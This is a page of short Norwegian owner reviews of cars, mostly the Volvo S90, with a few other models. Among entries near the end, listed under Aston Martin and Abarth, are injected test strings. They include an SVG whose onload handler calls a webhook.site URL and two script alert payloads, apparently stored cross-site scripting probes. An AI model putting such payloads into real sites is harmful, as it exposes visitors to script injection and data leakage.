Volvo S90 (2020)

Fantastisk rett og slett. Optimert med Polestar til 200/440. Langkjøring under 0,48...

Volvo S90 (2019)

Fantastisk bil. Har eiet 15 biler inkludert to Mercedes S-klasse og S-90en overgår alle med solid margin. Kommer til å bli min siste bil (er nå 63 år gammel) og vil betale hva det enn må komme ti

Volvo S90 (2019)

Dette er en behagelig og rask luksus sedan, som er en fryd å kjøre. Jeg har eid og leid mange bra biler av forskjellige merker, og S90en er vel den jeg foretrekker.

Volvo S90 (2018)

Dette er den beste bilen jeg har eid og kjørt i mitt liv. Har testet mange merker, men dette er til nå det ypperste i denne prisklassen

Volvo S90 (2018)

Dette har vært en fantastisk bil frem til nå, med alle de funksjonene en oppegående, men aldrene mann setter i høysetet, spesielt på vei til hytta på fjellet vinterstid - og nå er det slutt. Al

Volvo S90 (2018)

Fantastisk kjørmaskin

Volvo S90 (2018)

God bil.

Volvo S90 (2018)

Med Polstaoppgradering og 423 hk blir denne gubbebilen som en rakett. Kjører mest lokalt og da på strøm . På langkjøring blr det fort 0,75- 0,8 l pr mil. Utrolig behagelig bil på langkjøring me

Volvo S90 (2018)

veldig bra bil, behagelig på langtur. og billig i drift, da eg kjører eletrisk til jobb

Volvo S90 (2018)

Er kjempefornøyd med en flott bil

Volvo S90 (2018)

Meget god bil.Topp kjøreegenskaper.0,5l i gjennomsnitt på langkjoring

Volvo S90 (2018)

Veldig komfortabel, ikke en bil for dem som kjører veldig aktiv men for de som liker en komfortabel stor sedan, bilen er godt utstyrt og har en total effekt på over 400hk som sikrer raske og trygge

Volvo S90 (2017)

Hadde en T8 tidligere, brukte en del bensin når batteriet var tomt, drasser tross alt på 300 kg med batterier/el-motor på langtur. Superfornøyd med dieselmotor

Volvo S90 (2017)

Fantastisk bil, super komfort med Nappa skinn 18 punkts sete og massasje. Et romskip av en bil, så mye teknologiske løsninger at du må ha et kurs og en bok for å få med deg alt.

Skoda Enyaq (2025)

Brukt som drosje, har per nå 75000km. Veldig stor oppgradering å få batterivarme. Regenerativ bremsing anbefales ikke på vinterføre. Får minus på forbruk da bilen gir meg 270-330km på kaldeste

Volvo EX30 (2025)

Mekanisk fin bil men med et makkverk av software som er full av feil. Se Volvo ex30 forum for tidenes lengste og gjentakende feil rapporter. Volvo ser ikke ut til å være interessert å ordne opp des

Skoda Enyaq (2023)

Syns utseende å bilen er tøff, ellers kan jeg ikke sa hva den skal være bedre på enn sine konkurrenter. Sitte stillingen passer meg dårlig, men fruen liker det. Pluss at den har soltak Elendi

Mazda CX-5 (2013)

Bilens største utfordring med skyactive motor er relatert til partikkelfilter, koksing av inntaksmanifold og tett sumpfilter, som kan lede til havari. Annet er utkobling av turbo på grunn av feil ve

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring